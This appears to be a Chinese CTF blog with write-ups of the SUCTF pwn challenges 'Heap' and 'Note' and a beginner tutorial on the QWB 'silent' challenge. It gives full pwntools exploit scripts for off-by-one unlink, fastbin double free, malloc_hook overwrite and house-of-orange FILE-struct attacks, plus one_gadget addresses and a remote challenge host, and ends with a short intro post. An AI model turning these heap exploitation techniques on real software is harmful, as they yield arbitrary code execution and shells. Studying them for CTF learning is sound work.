suctf的两道pwn——Heap和Note

大佬们去打tctf了,pwn题没有人做,当时心里想的是至少也要扛起担子做个一题吧,然而现实是残酷的(:з」∠)没一题会做。。。。最后还是v爷爷回来秒掉一题,这两题是里面比较简单和普通的题,写篇博客记录一下(PS:记录向的肯定不会很详细)

1.Heap

程序的关键点都在下面

avatar

和普通的堆题相比,这里会连续生成两个相同大小的chunk,用read读到第一个chunk里并strcpy到第二个中,随后free掉第一个,也就是把第一个当做缓冲区用。

注意这里用read读取字符串而用strcpy来拷贝字符串,前后的长度无法保证一致,事实上如果写满直到下一个chunk的prev_size就可以把下一个chunk的size一起copy过去,而edit函数利用strlen来确定字符串长度,这样就可以随意修改下一个chunk的size了,这时如果伪造一个chunk出来,就可以通过unlink获得heap地址,而且可以通过edit随意修改为所欲为

现在看来的确是一个简单的题目了,看来本人还是缺乏一些自主思考的能力,可能是面向wp解题太多了的问题,急需提升!

下面是poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./offbyone')
bin = ELF('./offbyone')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(leng,con):
cn.sendline('1')
cn.sendline(str(leng))
cn.sendline(con)
cn.recvuntil('input your data')

def dele(idx):
cn.sendline('2')
cn.sendline(str(idx))
cn.recvuntil('input id')

def show(idx):
cn.sendline('3')
cn.sendline(str(idx))
cn.recvuntil('input id')

def edit(idx,con):
cn.sendline('4')
cn.sendline(str(idx))
cn.sendline(con)
cn.recvuntil('input your data')


chunk_list = 0x6020c0
p3 = chunk_list + 3 * 8
#>= 0x7f <= 0x100
add(0xa0,'/bin/sh\x00')#0
add(0xa0,'$0\x00')#1
add(0xa0,'a' * 0x90)#2

add(0xa0,'b' * 0x90)#3
add(0xa0,'a' * 0x90)#4

dele(3)

add(0xa8,'b' * 0xa8)#3

buf = p64(0) + p64(0xa0) + p64(p3 - 0x18) + p64(p3 - 0x10)
buf = buf.ljust(0xa0,'x')
buf+= p64(0xa0) + p64(0xb0)


edit(3,buf)

dele(4)

show(3)

sh_addr = u64(cn.recvuntil('1:')[1:-2].ljust(8,'\x00'))
heap_addr = sh_addr - 0xe0
print('heap_addr:' + hex(heap_addr))
#show(1)
edit(3,p64(heap_addr + 0x30))

show(0)
libc_addr = u64(cn.recvuntil('1:')[1:-2].ljust(8,'\x00')) - 88 - 0x3c4b20
print('libc_addr:' + hex(libc_addr))
edit(3,p64(bin.got['free']))
edit(0,p64(libc_addr + libc.symbols['system']))
edit(3,p64(sh_addr))



dele(1)


cn.interactive()

2.Note

这题你只有一次Free的机会,利用它你可以很容易的得到libc地址,而且这题还存在一个不限长的溢出,可以伪造fastbin堆块,改写malloc_hook的地址为one_gadgets直接拿shell

或者用house of orange的思路,通过unsorted bin attack修改_IO_list_all,修改_IO_OVERFLOW为one_gadgets或者system(这里的解决方案算是我唯一和v爷爷答案不同的地方了),之后触发_IO_OVERFLOW也可以成功,这题我会记录多个poc(包括一个别人写的),感谢veritas501学长的指导(以及非常好用的FILE.py

再提一下题目第二种思路,如果不能leak堆地址,或是在更新的libc版本中,伪造vtable是无法实现的,也就是我自己的办法就没法做了,但v爷爷的办法依旧可行(这种办法是真的强,我后来尝试找了一下有没有可以做到类似功能的代码,但是没有找到,不知道大佬都是怎么找的

fastbin做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./note')
bin = ELF('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('')
bin = ELF('./note')
libc = ELF('')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(leng,con):
cn.sendline('1')
cn.sendline(str(leng))
cn.sendline(con)
cn.recvuntil('Choice>>')

def show(idx):
cn.sendline('2')
cn.sendline(str(idx))
cn.recvuntil('Choice>>')

def pan():
cn.sendline('3')
cn.sendline('1')
cn.recvuntil('Choice>>')



add(0x28,'a' * 0x28 + p64(0xEB1))
add(0xeb0-0xa0,'a')
add(0x100,'0x70')

pan()
show(0)
cn.recvuntil('Content:')
libc_base = u64(cn.recvline()[:-1].ljust(8,'\x00')) - 88 - 0x3c4b20
print('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print('malloc_hook:' + hex(malloc_hook))

add(0x20,'b' * 0x20 + p64(0) + p64(0x100) + 'a' * (0xf60 - 0x30) + p64(0) + p64(0x71) + p64(malloc_hook - 0x23))

add(0x60,'aaa')

buf = ''
buf+= '\x00' * (3 + 8) + p64(libc_base+0x4526a) + p64(libc_base + libc.plt['realloc'])


add(0x60,buf)
z('b*%d\nc'%(libc_base+0x4526a))
cn.sendline('1')
cn.sendline('123')

cn.interactive()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

我的house of orange做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./note')
bin = ELF('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('')
bin = ELF('./note')
libc = ELF('')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(leng,con):
cn.sendline('1')
cn.sendline(str(leng))
cn.sendline(con)
cn.recvuntil('Choice>>')

def show(idx):
cn.sendline('2')
cn.sendline(str(idx))
cn.recvuntil('Choice>>')

def pan():
cn.sendline('3')
cn.sendline('1')
cn.recvuntil('Choice>>')


add(0x28,'a' * 0x28 + p64(0xeb1))
add(0x1000,'abc')
pan()
show(0)
cn.recvuntil('Content:')
heap_base = u64(cn.recvline()[:-1].ljust(8,'\x00')) - 0x150
print('heap_base:' + hex(heap_base))

add(0x88,'bb')

show(1)
cn.recvuntil('Content:')
libc_base = u64(cn.recvline()[:-1].ljust(8,'\x00')) - 88 - 0x3c4b20
print('libc_base:' + hex(libc_base))



_IO_list_all = libc_base+0x3c5520
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
from FILE import *
context.arch = 'amd64'
ff = IO_FILE_plus_struct()
ff._mode = 0
ff._flags = u64('$0'.ljust(8,'\x00'))
ff._IO_read_ptr = 0x61
ff._IO_read_base = _IO_list_all-0x10
ff._IO_write_base = 0
ff._IO_write_ptr = 1
ff.vtable = heap_base + 0x1a8 - 0x18
buf = 'a'*0x20 + str(ff).ljust(0xe8,'\x00')+p64(system)
#buf = 'a'*0x20 + str(ff).ljust(0xe8,'\x00')+p64(libc_base + 0xf1147)
add(0x20,buf)

z('b*%d\nc'%system)

cn.sendline('1')
cn.sendline(str(0x233))
cn.interactive()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

v爷爷的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./note')
bin = ELF('./note',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
#cn = remote('')
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(size,con):
cn.recvuntil('Choice>>')
cn.sendline('1')
cn.recvuntil('Size:')
cn.sendline(str(size))
cn.recvuntil('Content:')
cn.sendline(con)

def show(idx):
cn.recvuntil('Choice>>')
cn.sendline('2')
cn.recvuntil('Index:')
cn.sendline(str(idx))

def pandora():
cn.recvuntil('Choice>>')
cn.sendline('3')
cn.recvuntil('This is a Pandora box,are you sure to open it?(yes:1)')
cn.sendline('1')


pandora()
show(0)
cn.recvuntil('Content:')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x3c4b20-88
success('lbase: '+hex(lbase))

pay = 'a'*0x28+p64(0xfd1)
add(0x20,pay)

add(0x1000,'asd')


system = lbase+libc.symbols['system']
_IO_list_all = lbase+0x3c5520
_IO_str_jumps = lbase+0x3c37a0
binsh = lbase+libc.search('/bin/sh\x00').next()

pay='e'*0x400
from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8
pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)

#z('set follow-fork-mode parent\nc')
add(0x400,pay)
print(hex(_IO_str_jumps-8+0x18))
z()
#z('b*%d\nc'%(_IO_str_jumps-8+0x18))
#0x7fa28e2a5000 0x00007fa28e66a520 3C5520
cn.recvuntil('Choice>>')
cn.sendline('1')
cn.recvuntil('Size:')
cn.sendline(str(0x233))

cn.interactive()

强网杯部分pwn复现

强网杯组织了下新生们一起报了个名,菜如我是一题都做不出来。。
不过当时部分题还是有点思路的,赛后学长给我们讲了一些,再参考着题解的情况下,再做了一遍其中的几题,新手向所以写得非常详细(应该会继续更新(然而鸽了

1.silent

题如其名,打开跑一跑发现一点回显都没有,甩进IDA
avatar

main的逻辑非常简单,分别点进去看看就能明白三个函数的作用

如果你了解过堆的话应该不难看出漏洞所在,但如果你不了解,下面我们就来学习一下这题的背景知识——堆(堆的内容很多,这里只说到能解决此题的程度,我也正在学习中…..

下面这张图是chunk的结构图,接下来请务必牢记它的构成
avatar
那么什么是chunk呢,我们都知道我们可以使用malloc申请一块内存区域,而malloc的返回值就是指向申请到的内存地址的指针。现在向上看那张图,看到那个mem区块了没有,malloc返回地址就是这个地方,也就是说我们用malloc申请得到了一个chunk。

接下来我们看一下chunk的构成:

prev_size:前一个未被使用的chunk的大小

size:当前chunk的大小(为了防止内存碎片过多,得到的chunk大小一定是8的倍数,比如申请7字节mem也会得到8字节mem,8的倍数写成二进制是? x 1000即最后三位一定是0,设计者为了节约空间,将这3bit用来存储其他信息,这道题我们不需要知道这3bit的作用只做了解)



在介绍fd和bk之前,先说一下malloc是如何管理内存的

malloc维护了一系列链表,用来存放被free释放掉的chunk而不是直接还给系统,这样有利于加速下次使用。但如果链表里没有任何chunk,则会到一个叫top chunk的较大的chunk中分割一部分出来,如果top chunk也不够用的话则会调用mmap或者brk(皆为系统调用,只做了解)向系统申请

而fd和bk就是malloc用来维护链表的工具——

fd:下一个未被使用的chunk的地址

bk:上一个未被使用的chunk的地址



这也正是为什么fd和bk可以存在于mem而不是header的原因——既然用户已经free掉了chunk,那么chunk中的数据也就不再重要了,可以进行覆盖!

就这样,fd和bk将所有释放掉的chunk连接起来形成了链表(被称为”bins”),但这里要知道并不是所有释放掉的chunk都会连在一起

这里我们只需要知道如果chunk的大小不大于0x80(mem <= 64字节)的话,他就是一个fastbin

fast体现在为了提高检索速度,fastbin只使用fd指针形成了一个单向链表,并且free这样的chunk时只在当前释放的chunk就是fastbin链表里的最后一个chunk时才会检测出异常并退出,即

1
2
free(a);
free(a);//double free异常退出
1
2
3
free(a);
free(b);
free(a);//正常运行

这就说明fastbin的安全系数很低,比较容易被利用

这题所利用的漏洞就是这里,下面我们回到题目里
avatar
avatar

在delete()中我们可以free任何一个chunk无数次,只需要注意不连续free同一个chunk就行


所以我们可以free(a);free(b);free(a);之后再重新malloc一个和a,b大小一样的chunk,这样就会从fastbin链表里返回原本a所使用的空间。现在的情况是,你申请到了一个依旧存在在fastbin链表里的chunk,即mem块的前几个字节被当做fd使用,而你现在可以修改这里的值从而伪造一个chunk到fastbin中!


现在,不得不再提一个问题…malloc也是有安全检查的,并不是所有位置都可以被你拿来覆盖fd,你必须保证伪造的chunk的size是合法的,比如
malloc(0x20)返回一个size为0x30的chunk(0x10的头部,64位)那么你伪造的chunk的size范围就是0x30~0x37,所以要找到一个”\x00\x00\x00\x3?”的地方作为size才能成功得到这个chunk


接下来是思考如何get shell(应该也是最开始就思考过的)
观察到本题已经调用过system函数,而free函数的参数类型和system一致,所以考虑将free函数的got地址覆盖成system,然后执行到free的时候就会转而执行system函数(新手到此如果有疑惑,建议参考最后的代码用gdb多调试调试,都是这么过来的)


至此,此题的问题基本已经解决了,即通过double free构造一个伪造的chunk,利用这个chunk覆盖free()函数的got地址为system的plt地址,再执行’/bin/sh’(或者’$0’)get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1
if local:
cn = process('./silent')
else:
cn = remote('39.107.32.132',10000)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(size,buf):
cn.sendline('1')
cn.sendline(str(size))
cn.sendline(buf)
def dele(num):
cn.sendline('2')
cn.sendline(str(num))

add(0x50,'a')#0
add(0x50,'a')#1
dele(0)
dele(1)
dele(0)
add(0x50,p64(0x601ffa))#2
add(0x50,'a')#3
add(0x50,'a')#4
add(0x50,'$0' + '\x00' * 0xc + p64(0x400730))#5
dele(5)
cn.interactive()

Hello World

Welcome to my new home!I’m going to start here.
Until the end of the Heavenly Kingdom,my conquest is the sea of stars.

Quick Start

C

1
2
3
4
5
int main()
{
printf("Hello World!");
return 0;
}

Chinese

bin的懒新一个,跟风搭博客,因为是第一次搭,很多东西都不懂,功能应该会慢慢完善,望多关照!

Japanese

俺はビンの新人です、
はじめまして、どうぞよろしくお願いいたします。